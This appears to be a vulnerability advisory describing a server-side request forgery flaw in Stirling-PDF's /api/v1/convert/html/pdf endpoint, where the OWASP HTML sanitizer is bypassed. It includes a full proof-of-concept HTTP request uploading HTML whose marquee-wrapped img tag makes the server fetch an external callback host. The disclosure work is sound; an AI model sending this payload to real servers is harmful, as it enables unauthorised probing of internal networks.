When using the /api/v1/convert/html/pdf endpoint to convert HTML to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization, but there are flaws that can be bypassed, leading to SSRF vulnerabilities.
The backend uses the third-party sanitizer org.owasp.html, but it has flaws that can be bypassed, leading to SSRF vulnerabilities.
POST /api/v1/convert/html/pdf HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 380
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryavCUaFmKmcDEhMPU
------WebKitFormBoundaryavCUaFmKmcDEhMPU
Content-Disposition: form-data; name="fileInput"; filename="1.html"
Content-Type: text/html
<marquee behavior='alternate' direction='right'><img src='http://ad116e8ca5.ipv6.bypass.eu.org'></marquee>
------WebKitFormBoundaryavCUaFmKmcDEhMPU
Content-Disposition: form-data; name="zoom"
1
------WebKitFormBoundaryavCUaFmKmcDEhMPU--
Summary
When using the /api/v1/convert/html/pdf endpoint to convert HTML to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization, but there are flaws that can be bypassed, leading to SSRF vulnerabilities.
Details
The backend uses the third-party sanitizer org.owasp.html, but it has flaws that can be bypassed, leading to SSRF vulnerabilities.
source:
src/main/java/stirling/software/SPDF/controller/api/converters/ConvertHtmlToPDF.java
sink:
main/java/stirling/software/SPDF/utils/FileToPdf.java
PoC
Impact
What kind of vulnerability is it? Who is impacted?